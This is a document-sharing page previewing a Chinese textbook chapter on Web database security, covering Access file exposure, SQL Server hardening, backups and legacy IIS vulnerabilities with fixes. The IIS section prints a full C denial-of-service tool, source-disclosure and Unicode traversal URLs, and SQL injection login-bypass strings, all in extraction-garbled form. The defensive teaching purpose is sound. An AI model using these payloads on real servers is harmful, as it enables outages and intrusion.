大学WEB数据库技术应用教程-王承君-PPT文稿资料课件PPT
收藏
资源目录
压缩包内文档预览:
编号:21836379
类型:共享资源
大小:15.89MB
格式:ZIP
上传时间:2019-09-06
上传人:QQ24****1780
认证信息
个人认证
王**(实名认证)
浙江
IP属地:浙江
25
积分
- 关 键 词:
-
大学
web
数据库技术
应用
利用
运用
教程
王承君
ppt
文稿
资料
课件
- 资源描述:
-
大学WEB数据库技术应用教程-王承君-PPT文稿资料课件PPT,大学,web,数据库技术,应用,利用,运用,教程,王承君,ppt,文稿,资料,课件
- 内容简介:
-
第11章 Web数据库的安全性 本章学习目标通过本章的学习,了解Web数据库系统常见的安全问题,掌握必要的防范措施。数据库安全管理原则防止Access数据库可能被下载的安全漏洞SQL Server数据库的安全策略和安全管理原则IIS和ASP的常见安全性问题和防范措施11.1 数据库安全综述数据库安全是一个广阔的领域,它作为操作系统之上的应用平台,其安全与网络和主机安全息息相关。如何有效地保证数据库系统的安全,实现数据的保密性、完整性和有效性,已经成为业界人士探索研究的重要课题之一,但是数据库通常没有像操作系统和网络这样在安全性上受到重视。11.1.1 为何需要数据库安全?随着计算机技术的飞速发展,数据库的应用十分广泛,但随之而来产生了数据的安全问题。数据库存放着在线资源中最真实和最有价值的那部分信息资产,这些数据一旦遭受安全威胁将带来难以想象的严重后果,各种应用系统数据库中大量数据的安全越来越引起人们的高度重视。因此数据库系统作为信息的聚集体,是计算机信息系统的核心部件,其安全性至关重要。11.1.2 常见的数据库安全问题及原因 通常可能危及数据库安全的常见因素有以下几个方面:(1)账号设置。 数据库用户往往缺乏足够的安全设置。比如,缺省的用户账号和密码为空或极简单的几个字符;账号的保密性差,对大家都是公开的或者是极容易得到的;数据库用管理员账号做一般性操作等。 (2)缺乏角色分离。 传统数据库管理并没有“安全管理员(Security Administrator)”这一角色,这就迫使数据库管理员(DBA)既要负责账号的维护管理,又要专门对数据库执行性能和操作行为进行调试跟踪,不仅导致管理效率低下,而且安全责任难以确定。 (3)缺乏审计跟踪。 审计跟踪是运用操作系统、数据库管理系统、网络管理系统提供的审计模块的功能或其他专门程序,对系统的使用情况建立日志记录,以便实时地监控、报警或事后分析、统计、报告,是一种通过事后追查来保证系统安全的技术手段。数据库审计经常被DBA以提高性能或节省磁盘空间为由忽视或关闭,这大大降低了管理分析的可靠性和效力。 (4)未利用的数据库安全措施。 现在成熟的数据库软件都提供了各种措施来保障数据库的安全,但是,许多时候,由于管理员的疏忽或经验不足,许多的安全措施并没有实际应用。 11.1.3 数据库安全管理原则 一个强大的数据库安全系统应当确保其中信息的安全性并对其有效地控制。下面列举的原则有助于管理人员安全规划的制订以及对信息资源的有效保护。(1)管理细分和委派原则。所有用户责权分明,包括数据库管理员的责任和角色。(2)最小权限原则。某个用户只授权它能进行必要处理的最小权限。(3)账号安全原则。账号应遵循传统的用户账号管理方法来进行安全管理。(4)有效的审计。数据库审计是数据库安全的基本要求,为事后安全事故分析提供依据。11.2 Access数据库可能被下载的漏洞 一般来说,ASP+Access是目前比较常用的Web编程方式,但Access由于是文件形式的数据库,所以Access的mdb数据库文件就有可能被人下载。因此Access数据库的安全性不可与大型数据库相提并论。一般的,mdb数据库的连接使用是通过 DSN-LESS方法直接在asp中指定,如下所示。 Access数据库可能被下载的漏洞在用Access做数据库时,如果有人通过各种方法知道或者猜测到服务器的Access数据库的路径和数据库名称,那么他就能够下载这个Access数据库文件。比如:如果Access数据库book.mdb放在虚拟目录下的database目录下,在浏览器中键入:http:/yoururl/database/book.mdb那么book.mdb将被下载,这是非常危险的。如果book.mdb数据库没有事先加密的话,那book.mdb中所有重要的数据都将被泄露。解决Access数据库被下载的方法有不少,但有一点要注意,安全是相对的,不是绝对的。关于源代码的泄漏问题 (1)为数据库文件名称起个复杂的非常规的名字,并把它放在多级目录下,攻击者猜测数据库的位置和名称就很困难。这样做的弊端就是,如果ASP源代码文件泄漏,那无论隐藏多深都没有用了,关于源代码的泄漏问题,下面章节会有介绍。关于源代码的泄漏问题 (2)把数据库的扩展名修改为ASP、ASA、INC等不影响数据查询的名字。但是有时候修改为ASP或者ASA以后仍然可以被下载。比如我们将它修改为ASP以后,直接在IE的地址栏里输入网络地址,虽然没有提示下载,但是却在浏览器里出现了一大片乱码。如果下载工具使用的是Flashget,就可以直接把数据库文件下载,下载后再改为正常名字就可以直接使用了。关于源代码的泄漏问题 (3)将数据库book.mdb改成#book.mdb,这是比较简单有效的办法,假设别人得到你的数据库地址串是http:/yoururl/yourfolder/#book.mdb,但实际上他得到是http:/yoururl/ yourfolder/,因为#在这里起到间断符的作用,地址串遇到#号,自动认为访问地址串结束。但这样做也只是相对安全,对于一般人无法下载。如果我们在编码中用%23来代替#号,在浏览器中这样输入:http:/yoururl/yourfolder/%23book.mdb,一样能获取到数据库。 关于源代码的泄漏问题 (4)使用Access环境来为Access数据库文件编码及加密。首先选取环境中“工具安全加密/解密数据库”功能,选取数据库(如employer.mdb),然后按确定,接着会出现“数据库加密后另存为”的窗口,存为employer1.mdb。接着employer.mdb就会被编码,然后存为employer1.mdb。以上的动作并不是对数据库设置密码,而是对数据库文件加以编码,目的是为了防止他人使用别的工具来查看数据库文件的内容。Access数据库可能被下载的漏洞接下来为数据库设置密码。首先打开经过编码了的employer1.mdb。在打开时,选择“独占”方式,然后选取功能表的“工具安全设置数据库密码”,接着输入复杂一点的密码即可。为employer1.mdb设置密码之后,接下来如果再打开Access数据库文件时,则Access会要求先输入密码,验证正确后才能够启动数据库。如果要在ASP程序中打开数据库,必须在connection对象的open方法中增加PWD的参数。这样即使他人得到了employer1.mdb文件,没有密码也是无法看到employer1.mdb的内容。11.3 SQL Server数据库安全 MS SQL Server数据库的安全问题存在于多个方面。微软的系统性很强,整个基于Windows系统的应用都有很强的关联性。对SQL Server来说,基本可以把数据库管理和系统管理等同起来。11.3.1 SQL Server安全策略 Microsoft建立了一种既灵活又强大的安全管理机制,它能够对用户访问SQL Server服务器系统和数据库的安全进行全面地管理。给出了SQL Server安全控制策略示意。 第四层数据库用户和权限第三层SQL Server登录安全性第二层Windows NT计算机级安全性第一层Windows NT域级安全性SQL Server安全策略由图11-1可见,SQL Server的安全控制策略是一个层次结构系统的集合。只有满足上一层系统的安全性要求之后,才可以进入下一层。各层SQL Server安全控制策略是通过各层安全控制系统的身份验证实现的。身份验证是指当用户访问系统时,系统对该用户的账号和口令的确认过程。身份验证的内容包括确认用户的账号是否有效、能否访问系统、能访问系统的哪些数据等。(1)验证方法选择 验证(Authentication)和授权(Authorization)是两个不同的概念。验证是指检验用户的身份标识;授权是指允许用户做什么。验证过程在用户登录SQL Server的时候出现,授权过程在用户试图访问数据或执行命令的时候出现。 验证方法选择构造安全策略的第一个步骤是确定SQL Server用哪种方式验证用户。SQL Server的验证是把一组帐户、密码与Master数据库Sysxlogins表中的一个清单进行匹配。Windows NT/2000的验证是请求域控制器检查用户身份的合法性。一般地,如果服务器可以访问域控制器,应使用Windows NT/2000验证。域控制器可以是Windows 2000服务器,也可以是Windows NT服务器。无论在哪种情况下,SQL Server都接收到一个访问标记(Access Token)。访问标记是在验证过程中构造出来的一个特殊列表,其中包含了用户的SID(安全标识号)以及一系列用户所在组的SID,SQL Server以这些SID为基础授予访问权限。使用SQL Server验证登录的不利因素在于SQL Server验证的登录只对特定的服务器有效。也就是说,在一个多服务器的环境中管理比较困难。 (2)设置全局组 每一个组织或应用程序的用户都可以按照他们对数据的特定访问要求分成许多类别。例如,会计应用软件的用户一般包括:数据输入操作员、数据输入管理员、报表编写员、会计师、审计员、财务经理等。每一组用户都有不同的数据库访问要求。因此控制数据访问权限最简单的方法是对每一组用户,分别为它创建一个满足该组用户权限要求的、域内全局有效的组。注意,为了简化管理,最好为组取一个能够明确表示出作用的名字。 (3)授权对数据库的访问 创建了数据库之后,可以用sp_grantdbaccess存储过程授权访问它。但应该注意,与sp_grantdbaccess对应的sp_denydbaccess存储过程并不存在,也就是说,不能按照拒绝对服务器访问的方法拒绝对数据库的访问。如果要拒绝对数据库访问,我们可以创建一个组,例如名为DB_Name Denied Users的组,把它设置为db_denydatareader以及db_denydatawriter角色的成员,在该组中的成员就不能访问数据库了。 (4)分配权限 实施安全策略的最后一个步骤是创建用户定义的数据库角色,然后分配权限。完成这个步骤最简单的方法是创建一些名字与全局组名字配套的角色。创建好角色之后就可以为角色分配权限。在这个过程中,我们只需用到标准的GRANT、REVOKE和DENY命令。可以把权限分配给角色而不是直接把它们分配给组来进行安全管理。注意用户组是用户的集合,而角色则是数据库操作权限的集合,一个组可以拥有多种数据库角色。 (5)简化安全管理 SQL Server验证的登录不仅能够方便地实现,而且与NT验证的登录相比,它更容易编写到应用程序中。但是,如果用户的数量超过25,或者服务器数量在1个以上,或者每个用户都可以访问一个以上的数据库,则SQL Server验证的登录不容易管理。因此,首选的方法应该是使用NT验证的登录,然后通过一些精心选择的全局组和数据库角色管理数据库访问。 SQL Server安全策略规则可概括如下 规划全局组,如用户通过定义SQL Server Users组获得服务器访问,通过DB_Name Users组获得数据库访问;用户通过加入全局组获得身份类别,而全局组通过加入角色获得权限,角色直接拥有数据库里的权限;需要多种权限的用户通过加入多个全局组的方式获得权限。11.3.2 SQL Server的安全管理 SQL Server的安全配置在进行SQL Server数据库的安全配置之前。首先你必须对操作系统进行安全配置,保证你的操作系统处于安全状态;然后对要使用的操作数据库软件(程序)进行必要的安全审核,比如对ASP、PHP等脚本,这是很多基于数据库的Web应用常出现的安全隐患。对于脚本主要是一个过滤问题,需要过滤一些类似,; / 等字符,防止破坏者构造恶意的SQL语句;接着安装SQL Server安全补丁,同时在管理上注意下面一些问题。 (1)使用安全的密码策略 健壮的密码是安全的第一步!请注意,很多数据库账号的密码过于简单,这跟系统密码过于简单是一个道理。对于sa更应该注意,不要让sa账号的密码写在应用程序或者脚本中。SQL Server 2000安装的时候,如果是使用混合模式,那么就需要输入sa的密码,除非你确认必须使用空密码。养成定期修改密码是个好习惯,数据库管理员应该定期查看是否有不符合密码要求的账号。比如使用下面的SQL语句可以查找是否有不设置密码的用户:Use master Select name,Password from syslogins where password is null (2)使用安全的账号策略 由于SQL Server不能更改sa用户名称,也不能删除这个超级用户,所以,我们必须对这个账号进行最强的保护。如使用一个非常强壮的密码,不要在数据库应用中使用sa账号等。SQL Server的认证模式有Windows身份认证和混合身份认证两种。如果数据库管理员不希望操作系统管理员通过操作系统登录来接触数据库的话,可以在账号管理中把系统账号BUILTINAdministrators删除。不过这样做的结果是一旦忘记sa账号密码的话,就没有办法恢复了。很多主机使用数据库应用只是用来做查询、修改等简单的功能,要根据实际需要分配账号,并赋予仅仅能够满足应用要求和需要的权限。(3)加强数据库日志的记录 审核数据库登录事件的“失败和成功”,在实例属性中选择“安全性”,将其中的审核级别选定为全部,这样在数据库系统和操作系统日志里面,就详细记录了所有账号的登录事件。要定期查看SQL Server日志,检查是否有可疑的登录事件发生。 (4)管理扩展存储过程 对存储过程进行大手术,并且对账号调用扩展存储过程的权限要慎重。其实在多数应用中根本用不到多少系统的存储过程,而SQL Server的这么多系统存储过程只是用来适应广大用户需求的,所以请删除不必要的存储过程,因为有些系统的存储过程能很容易地被人利用起来提升权限或进行破坏。如果不需要扩展存储过程xp_cmdshell请把它去掉。使用下面的SQL语句: use master sp_dropextendedproc xp_cmdshell xp_cmdshell是进入数据库系统的一个捷径,是数据库留给操作系统的一个大后门。管理扩展存储过程如果需要这个存储过程,用这个语句也可以恢复过来。sp_addextendedproc xp_cmdshell, xpsql70.dll如果不需要OLE自动存储过程,请把它们删除(会造成管理器中的某些特征不能使用),这些过程包括如下:Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty Sp_OAMethod Sp_OASetProperty Sp_OAStop 注册表存储过程甚至能够读出操作系统管理员的密码,去掉不需要的对注册表访问的存储过程。这些存储过程如下: Xp_regaddmultistring,Xp_regdeletekey,Xp_regdeletevalue Xp_regenumvalues,Xp_regread,Xp_regremovemultistring,Xp_regwrite (5)使用协议加密 SQL Server 2000使用的Tabular Data Stream协议来进行网络数据交换,如果不加密的话,所有的网络传输都是明文的,包括密码、数据库内容等,这是一个很大的安全威胁,能被人在网络中截获他们需要的东西,包括数据库账号和密码。所以,最好使用SSL来加密协议,当然,这需要一个证书来支持。(6)修改TCP/IP使用的端口 更改安装时默认的1433端口。在实例属性中选择网络配置中的TCP/IP协议的属性,将TCP/IP使用的默认端口变为其他端口。 (7)不要让人随便探测到你的TCP/IP端口 即使改变了TCP/IP安装默认的1433端口,但通过微软未公开的1434端口的UDP探测可以很容易知道SQL Server使用的TCP/IP端口。该问题可以通过实例属性设置来解决:隐藏 SQL Server 实例。如果隐藏了 SQL Server 实例,则将禁止对试图枚举网络上现有的 SQL Server 实例的客户端所发出的广播作出响应。这样,别人就不能用1434来探测TCP/IP端口了(除非用Port Scan)。 (9)拒绝来自1434端口的探测由于1434端口探测没有限制,能够被别人探测到一些数据库信息,而且还可能遭到DOS攻击让数据库服务器的CPU负荷增大,所以对Windows 2000操作系统来说,在IPSec过滤拒绝掉1434端口的UDP通讯,可以尽可能地隐藏你的SQL Server。 上面介绍的一些SQL Server的安全配置,可以让SQL Server本身具备很高的安全防范能力。当然,更主要的还是要加强内部的安全控制和管理员的安全意识。11.4 数据库的备份 备份意识实际上就是数据的保护意识。病毒、黑客、系统故障、意外因素等使数据随时有被毁灭的危险。从这个意议上讲,对数据进行备份是非常必要的。11.4.1 威胁数据安全的因素分析 造成系统数据丢失的原因很多,其中有些还往往被人们所忽视,正确分析威胁数据安全的因素,能使系统的安全防护更有针对性。(1)系统物理故障 主要是系统设备的运行损耗、存储介质失效、运行环境(温度、湿度、灰尘等)对计算机设备的影响、电源供给系统故障、人为的破坏等。有时,电压不稳或意外的断电也能给系统硬件造成损坏乃至报废。 (2)软件设计的缺陷 现今操作系统环境和应用软件种类繁多,结构复杂。软件设计上的缺陷也会造成系统无法正常工作。另外,版本的升级、程序的补丁等都会对系统造成影响。不管是开放源代码软件还是非开放源代码软件,漏洞都无可避免。人们争论哪种软件更安全的时候,更应牢记这样一个道理,那就是:没有绝对安全的软件。 (3)人为失误 由于操作不慎,使用者可能会输入了错误的命令,或者误删除系统的重要文件,或者修改了影响系统运行的参数,或者没有按照规定要求进行操作,从而导致了数据丢失。(4)计算机病毒 近年来,由于计算机病毒感染而破坏计算机系统,造成重大经济损失的事件屡屡发生。计算机病毒具有自我复制能力,品种繁多,感染性强,特别是在网络环境下,传播扩散速度更快,令人防不胜防。 (5)黑客入侵 伴随着 Internet的发展,网络黑客对计算机系统的攻击也成为一大安全隐患。许多带有商业性的黑客行为对于公司的数据、资金、人力以至于商业形象的损害是相当严重的。 (6)自然灾害 首先,地理环境决定了我国具有较高的自然灾害发生率,如地震、严重的洪涝灾害等。其次,火灾也是一大隐患。火灾的发生概率要比自然灾害高的多。虽然灾害与其他因素相比发生的频率并不高,但这样的灾害只要发生一次,就会给系统带来毁灭性的打击。 11.4.2 数据备份 备份就是保留一套现有系统的后备系统,这套后备系统或者是与现有系统一模一样,或者具有能够代替现有系统的功能。对于网络管理员来说,备份是一项繁重的任务,需要完成大量的手工操作,费时费力。因此,系统的数据备份最好具备定时和实时自动备份功能,从而减轻管理员的负担并消除手工操作带来的失误。利用SQL Server 2000所提供的“数据库维护计划器”,可以实现数据自动备份功能。 数据备份很多计算机用户和管理人员虽然认识到备份的重要性,具备一定的备份概念,但仍存在一些误区。有的用户认为备份就是简单地做一份拷贝,因而往往达不到实际要求,或是陷入繁琐耗时的手工操作中。其实备份并不仅仅是执行拷贝指令或程序,备份=管理+拷贝 一个完整的备份方案大致应具备以下特点 (1)保证数据资料的完整性。(2)能自动排程设定,实现备份任务的管理。(3)能对不同的存储介质进行有效管理。(4)支持多种操作系统平台。(5)操作简便、易于实现。(6)备份数据的安全存放。数据备份随着网络的不断投入和扩大,计算机网络的安全、数据资源的安全日益重要,规划一套完整的备份方案并付诸实施,系统数据安全才会得到有效的保障。除了技术上的要求外,制定周密的计划也很重要。有些系统人员不大重视备份计划的设计,缺乏完整的规划和策略,使得备份效果大打折扣。要注意备份过程可能对一些应用系统有影响,要针对系统运行情况,合理安排备份时段,避免与应用程序发生冲突。总之,备份方案是存储设备、备份工具、运作方式、恢复重建方法、操作性、可靠性等方面的综合考虑。11.5 IIS的安全性 虽然Windows Nt和Windows 2000所带的IIS(Internet Information Server)提供了强大的功能,但是不当的处理可能会使IIS在网络安全方面造成重大危险。因为很少有人会用Windows 95/98充当Web服务器,因此撇开PWS而重点谈一下服务器操作系统环境下的IIS安全问题。 11.5.1 IIS泄露源程序 ASP在网络安全方面的一大优点就是用户不能看到ASP的源程序。因为从ASP的原理上看,ASP在服务端执行并解释成标准的HTML语句,再传送给客户端浏览器,IIS提供利用ASP而动态产生网页的服务。一个ASP文件,就是一个在HTML网页中直接内含程序代码的文件。回询(Request)一个ASP文件,会促使 IIS 运行网页中内嵌的程序代码,然后将其运行结果直接回送到浏览器上。IIS泄露源程序看见源代码似乎觉得并没有什么大碍,但是一旦源码被发现,他人就可以很容易地进入本不该被看到的内容,而且很多数据库的连接用户名和密码也都是直接写在ASP文件里,一旦被发现,数据库就相当危险了。例如,在一些用ASP开发的BBS程序中,往往使用的是access mdb数据库,如果mdb库存放的路径被获知,数据库就很有可能轻易地被他人下载,加之如果数据库不加密,那就非常危险了。获取密码的人如果有意进行恶意破坏,他只需要以管理员身份登录就可以删除所有BBS里的帖子。11.5.2 IIS系统的常见安全漏洞 由于微软操作系统的一些BUG,经常会出现各种各种的漏洞,黑客们往往就是通过这些漏洞进入系统,进而危害到IIS服务的数据安全,下面就是发现的一些IIS的漏洞。(1)Null.htw IIS服务器如果运行了Index Server就包含了一个与Null.htw有关的漏洞。这个漏洞会导致显示ASP脚本的源代码。如果攻击者提供特殊的URL请求给IIS,就可以跳出虚拟目录的限制,进行逻辑分区和ROOT目录的访问。由于在Index Server中的hit-highlighting功能没有充分防止各种类型文件的请求,因而导致攻击者访问服务器上的任意文件。Null.htw功能可以从用户输入中获得3个变量:CiWebhitsfile CiRestriction CiHiliteType Null.htw可通过下列方法传递变量来获得如default.asp的源代码:http:/www.目标机.com/null.htw?CiWebhitsfile=/default.asp%20&%20CiRestriction=none%20&%20&CiHiliteType=full其中,不需要一个合法的.htw文件,因为虚拟文件已经存储在内存中了。对于此类问题的防范,可以采取下面的措施:如果该webhits提供的功能是系统必须的,请下载相应的补丁程序,如果没必要,可使用IIS的MMC管理工具移除.htw的映像文件。 (2)ASP Dot Bug 这个漏洞出现得比较早,是Lopht小组在1997年发现的缺陷,这个漏洞也是泄露ASP源代码给攻击者,一般在IIS3.0上存在此漏洞。在请求的URL结尾追加一个或者多个点导致泄露ASP源代码,如:http:/www.目标机.com/sample.asp(3)+.htr Bug 这个漏洞是由NSFOCUS发现的,对有些ASA和ASP追加“+.htr”的URL请求就会导致文件源代码的泄露: http:/www.目标机.com/global.asa+.htr (4)idc & .ida Bugs 这个漏洞是能在IIS4.0上显示其Web目录信息,有些人还在IIS5.0上也发现过此类漏洞,通过增加“?idc?”或者“?ida?”后缀到URL会导致IIS尝试允许通过数据库连接程序.DLL来运行.IDC,如果此.idc不存在,它就返回一些信息给客户端。 http:/www.目标机.com/anything.idc 或者 anything.ida(5)特殊符号对安全的影响 通过在ASP程序后加个特殊符号,就能看到ASP源程序。IIS2、IIS3、IIS4的一个广为人知的漏洞就是:$DATA,通过它使用IE中的“查看源程序”或Netscape直接访问该asp文件就能轻而易举地看到asp代码。受影响的版本有:Windows 95+PWS、IIS3.0,在Windows 98+PWS4、IIS4.0以上的版本中不存在这个漏洞。 特殊符号对安全的影响这些特殊符号包括小数点.、%81、:$DATA。比如:http:/someurl/ourpage.asp.http:/ someurl/ourpage.asp%81http:/ someurl/ourpage.asp:$DATAhttp:/ someurl/ourpage.asp %2ehttp:/ someurl/ourpage %2e%41sphttp:/ someurl/ourpage %2e%asp http:/ someurl/ourpage.asp %2e特殊符号对安全的影响那么在安装有IIS3.0或Windows 95+PWS的系统中浏览就很容易看到ourpage.asp的源程序。究其根源是因为Windows NT特有的文件系统:NTFS。这种被称之为新技术的文件系统使得 NT 具有了较高的安全机制,但也正是因为它而产生了不少令人头痛的安全隐患。直接导致:$DATA的原因是由于IIS在解析文件名的时候出了问题,它没有很好地规范文件名。要防止该漏洞,可以将ASP文件存放的目录设置为不可读(ASP仍能执行)。但根本的方法是到微软的官方网站,下载并安装对应系统的补丁程序。 (6)code.asp文件对安全的影响 在微软提供的ASP1.0的例程里有一个asp文件专门用来查看其他asp文件的源代码,该文件为ASPSamp/Samples/code.asp。如果有人把这个程序上传到服务器,而服务器端没有任何防范措施的话,他就可以很容易地查看他人的程序。例如:code.asp?source=/directory/file.asp因此,对于IIS自带的显示 asp 源代码的code.asp程序文件,应删除该文件或者禁止访问该目录。(7)filesystemobject组件对安全的影响 filesystemobject组件常被称作FSO组件,IIS3、IIS4 的ASP的文件操作都可以通过filesystemobject实现,包括文本文件的读写目录操作、文件的拷贝、改名及删除等。但是这个功能强大的组件也留下了非常危险的“后门”。利用filesystemobjet可以篡改下载FAT分区上的任何文件,即使是NTFS分区,如果权限没有设定好的话,同样也能被破坏,遗憾的是该组件在Windows 2000操作系统下是默认组件。如果装好操作系统后,它就会自动运行,这给系统带来很大的危害。因此,密切关注服务器的设置很重要,尽量将Web目录建在NTFS分区上,目录不要设定Everyone完全控制,即使是管理员组的成员一般也没什么必要完全控制,只要有读取、更改权限就足够了。如果没有用到过这个组件,也可以把filesystemobject的组件删除或者改名。 filesystemobject组件对安全的影响通过修改注册表,将此组件改名,可使用以下方法:将HKEY_CLASSES_ROOTScripting.FileSystemObject 中的Scripting.FileSystemObject改名为其他的名字,如改为FileSystemObject_ChangeNames 。同时,还需要将clsid值也改一下 HKEY_CLASSES_ROOTScripting.FileSystemObjectCLSID项目的值。如果确认不需要该组件,也可以将其删除,来防止此类组件的危害,注销此组件可以在“运行”窗口执行下面的命令:RegSrv32 /u C:WINNTSYSTEMscrrun.dll (8)IIS Web Server DOS DOS的攻击方式有很多种,最基本的DOS攻击就是利用合理的服务请求来占用过多的服务资源,从而使合法用户无法得到服务的响应。DOS攻击能大大降低微软IIS系统速度。如果注册表中有一个叫MaxClientRequestBuffer的键未被创建,则针对NT系统的这种攻击通常能奏效。MaxClientRequestBuffer这个键用于设置IIS允许接受的输入量,系统的缺省设置对此不加限制。因此,利用特殊的程序,就可以很容易地对IIS Server实行DOS攻击,导致NT系统的CPU占用率达到100%,从而造成服务器瘫痪。 IIS Web Server DOS下面的程序。可以很容易地对IIS server实行DOS攻击。#include #include #define MAX_THREAD 666 void cng(); char *server; char *buffer; int port; int counter = 0; int current_threads = 0; int main(int argc, char *argv) WORD tequila; WSADATA data; int p; DWORD tid; HANDLE hThread2000; IIS Web Server DOS/This code is as is and sucks as it is. Wont exit correctly and a lot of other fun things. /That I didnt want to take the time to do. So just ctrl+c out of the code. /Load up cnghack.exe 3 times for charm. printf(CNG IIS DoS.nMarceEnnFor my beloved.n); if(argc2) printf(Usage: %s server portn,argv0); exit(1); IIS Web Server DOSbuffer=malloc(17500); memset( buffer, A, strlen(buffer); server=argv1; port=atoi(argv2); tequila = MAKEWORD( 1, 1 ); printf(Attempting to start winsock. ); if( (WSAStartup(tequila, &data) !=0 ) printf(failed to start winsock.n); exit(1); else printf(started winsock.nn); IIS Web Server DOScounter = 0; for(p = 0 ; p MAX_THREAD ; +p ) hThreadcounter = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) cng, ( void * )+counter, 0, &tid); Sleep(250); while( current_threads ) Sleep(250); counter = 0; printf(Terminated Threads.n); IIS Web Server DOSwhile (counter MAX_THREAD) TerminateThread( hThreadcounter, 0 ); +counter; WSACleanup(); return 0; void cng() int SockFD=0, p; struct sockaddr_in DstSAin; char GETKILLED=GET / HTTP/rn; int die=1; printf(Entered CNGn); IIS Web Server DOS+current_threads; DstSAin.sin_family = AF_INET; DstSAin.sin_port = htons(u_short)port); DstSAin.sin_addr.s_addr=inet_addr( server ); if(SockFD = socket(AF_INET, SOCK_STREAM, 0) 0) printf(Failed to create socketn); -current_threads; return; IIS Web Server DOSif(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin) p=send(SockFD,GETKILLED,strlen(GETKILLED),0); printf(Step 1: %in, p); for(;) p=send(SockFD,buffer,strlen(buffer),0); printf(P: %in, p); /put in some code to check if send = -1 more then X times we drop the loop and exit the thread /bla bla bla i love the dirtiness of concept code. IIS Web Server DOS-current_threads; printf(Exited CNGn); return; cnghack.c works by doing the following: Connects to Sends: GET / HTTP/returnbuffer Where: return is just an rn buffer is a never ending stream of AsIIS Web Server DOS攻击结果将导致NT系统的CPU占用率达到100%解决方案:运行Regedt32.exe程序,在:HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesw3svcparameters 增加一个值:Value Name: MaxClientRequestBufferData Type:REG_DWORD 设置为十进制,具体数值设置为想设定的IIS允许接受的URL最大长度,防止无限制的输入字符,比如设置为256。(9)IIS Server 4.0中的“非法HTR请求”缺陷 IIS支持多种需要服务器端处理的文件类型,譬如:ASP、ASA、IDC、HTR,当一个Web用户从客户端请求此类文件时,相应的DLL文件将自动对其进行处理。然而在ISM.DLL这个负责处理HTR文件的文件中,被发现存在严重的安全漏洞(注:HTR文件本身是用来远程管理用户密码的)。攻击方法:向IIS发一个如下的HTTP请求:“GET /overflow.htr HTTP/1.0”,IIS将崩溃,这里的overflow可以是3K长的代码。IIS Server 4.0中的“非法HTR请求”缺陷解决途径:将HTR扩展名从ISAPI DLL 的列表中删除。在NT桌面上,单击“开始”“程序”“Windows NT 4.0 Option Pack”“Microsoft Internet Information Server”“Internet 服务管理器”;双击“Internet Information Server”;鼠标右键单击计算机名称并选择“属性”;在“主属性”下拉式菜单中选择“WWW服务”并单击“编辑”按钮;选择“主目录”文件夹,并单击“配置”按钮,在“应用程序映射”列表框中选中HTR的相关映射,选择“删除”并确定。根本的解决方法是安装微软提供的补丁程序(补丁可以从微软件网站下载)。 (10)ASP程序注入漏洞 注入漏洞是目前比较流行的攻击方式,也是新手最容易忽略的漏洞,很多网站把密码放到数据库中,在登录验证中使用以下sql语句(以asp为例): sql=select from user where username=&username&and pass=& pass & 此时,只要根据sql构造一个特殊的用户名和密码,程序将会变成这样:sql=select * from username where username=&ben or 1=1& and pass= &pass& or是一个逻辑运算符,只要其中一个条件成立,那么等式就会成立。而在SQL语言中,是以1来代表真的(成立),那么在这行语句中,原语句的and验证将不再继续,因为“1=1”和or令语句返回为真值。 ASP程序注入漏洞另外也可以构造以下的用户名: username=aa or usernameaapass=aa or passaa相应的,在浏览器端的用户名框内写入:aa or usernameaa,口令框内写入:aa or passaa,注意这两个字符串两头是没有单引号的。这样就可以骗过系统了。后一种方法理论虽然如此,但要实践是非常困难的,必须具备下面两个条件:首先,能够准确地知道系统在表中是用哪两个字段存储用户名和口令的,只有这样才能准确地构造出这个进攻性的字符串。实际上这是很难猜中的。其次,输入的字符串不进行有效性检查。ASP程序注入漏洞问题解决和建议: 对输入的内容进行验证和处理,如下面的语句将单引号替换为双引号: str=replace(name,) 更一般的SQL语句内容检查如下:If InStr(TSNum,)0 or InStr(TSNum,)0 & -or InStr(TSNum,%)0 or InStr(TSNum,chr(33)0 & -or Instr(TSNum,*)0 or Instr(TSNum,-)0 & -or Instr(TSNum,+)0 or Instr(TSNum,()0 & -or InStr(TSNum,;)0 or Instr(TSNum,)0 Then Response.Redirect(非法字符!) Response.End End if(11)bak文件泄漏asp源代码 这也是很多编程新手容易忽略的漏洞,很多编辑工具,如Editplus、UltraEdit,默认情况下在保存文件时,都会自动备份一个bak文件。如创建或者编辑config.asp文件,则编辑器会自动生成一个config.asp.bak文件。如果没有删除该文件,攻击者可以通过http:/www.*.com/config.asp.bak来下载asp源程序。解决办法:要么就直接关闭编辑器的自动备份功能,要么在上传的时候删除所有.bak文件。(12)IIS存在的Unicode解析错误漏洞 NSFOCUS安全小组发现微软IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含unicode字符,它会对其进行解码,如果用户提供一些特殊的编码,将导致IIS错误的打开或者执行某些web根目录以外的文件。 IIS存在的Unicode解析错误漏洞可以使用下面的方法利用这个漏洞:如果系统包含某个可执行目录,就可能执行任意系统命令。下面的URL可能列出当前目录的内容:http:/www.目标机.com/scripts/.%c1%1c./winnt/system3
- 温馨提示:
1: 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
2: 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
3.本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

人人文库网所有资源均是用户自行上传分享,仅供网友学习交流,未经上传用户书面授权,请勿作他用。